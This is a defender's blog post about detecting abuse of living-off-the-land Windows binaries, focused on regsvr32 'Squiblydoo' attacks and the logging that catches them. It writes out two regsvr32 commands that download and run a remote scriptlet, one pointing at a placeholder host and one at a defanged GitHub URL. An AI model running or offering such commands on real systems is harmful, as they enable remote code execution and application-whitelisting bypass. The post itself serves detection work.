All Articles

LOLBAS Pt. 2 - Detections

Following my last blog on how LOLBAS is used, this one will touch on the detection side. Actually, if you have checked out the links under the #resource section on Github, you will notice that there is actually a section for detection already. However, I wanted to research deeper into some of the logic and thoughts around how some of these detection were written. So here’s a long winded post about detection that will touch on detecting LOLBAS!

The 3 D’s that were taught to me was: (From purple team class @ Blackhat from TrustedSec! (Thanks guys!))

  • Detection - do you have the ability to recognize that an attack is occurring? can you identify what phase it is in? this can be implemented through alert within a SIEM, some type of NAC, suspicious commands, or through UBA (user behavior analytics)…
  • Deflection - can you build some type of proactive measures that can help you to defend the network?
  • Deterrence - can you implement some paths of least resistance to bait attacker to take some other actions? make them trip into a honeypot. Use some type of deception engineering to trip the attacker, slow them down, or steer them away.

I was sitting and thinking of how to detect this type of attack, and it came to me … Look for the unexpected behaviors! Since LOLBAS is utilizing legit binaries for other uses, then we must take notes of these binaries’ legitimate use, and alert on anything that deviate from that.

And if you have ever read any of the Cyber Intel stuffs, you have most likely came across the OODA (Observe Orient Decide Act) loop, we’ll do just that.

Research step. Figure out how it’s weaponized. Say:

<lolbas-binary.exe> <options params> <module with http functionality> <"http://file-path.com/potential-malicious-url"> + <function parameters>

Ok, so usually, attackers will call the legit binaries, pass in a param that will invoke an Internet call to a URL, download a script, once finished, pass in another param to execute. You see where I’m going?

Another better example: A good example of a heavily abused LOLBAS is regsvr32.exe which is located in two locations on 64-bit platforms.

C:\Windows\System32\regsvr32.exe
C:\SYSWOW64\regsvr32.exe

From the LOLBAS project, attack vectors for regsvr32 include:

  • ability to retrieve files from the Internet
  • executing scriptlet files for code execution

In order to utilize regsvr32.exe in a malicious way, an attacker would host a scriptlet at any location and use something similar to the following command:

regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

“Most endpoint detection and response (EDR) tools look for common indicators within the command like for example a combination of regsvr32, a /i, and http within the command line option. While this may be useful for common detections, if an attacker obfuscates this code in anyway, it circumvents the detections commonly presented by endpoint tools.”

Scrobj.dll is part of Microsoft Windows Script Component Runtime, and outside of this whitelisting bypass, it is generally benign. Casey Smith weaponized this in a bypass called Squiblydoo. The command line is transcribed below (URL defanged):

C:\Windows\system32\cmd.EXE /c "regsvr32.exe /s /n /u /i:https://raw[.]githubusercontent[.]com/smarshallhb/Lumpy/master/http[.]sct scrobj.dll

If we know where regsvr32.exe are supposed to go, anything that deviate from that, we should alert.

So in term of logging and visibility, it would be nice to have these:

  • Sysmon

  • Event IDs

    • Event IDs(40691, 40692) or (4103, 4104- Script Block Logging)) in Microsoft-Windows-PowerShell-Operational log
    • Process Path
  • Paths

  • Powershell Block Scripting turned on, hopefully

    • \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline

Some other unrelated detection/defense/blue team tip:

  • Alert everything Powershell v1 or v2 is trying to run. Most attack frameworks and tools will downgrade the Powershell version to run because it doesn’t support logging or have any security feature. If you can block/disable these lower Powershell version within your environment, you should!

Sources/Resources:

I really enjoyed reading through these to get a better understanding of the attacks, and writing detections. Thanks to all the authors!

Published 6 Nov 2019

Security engineer. Blue teamer. What about you?TV0 on Twitter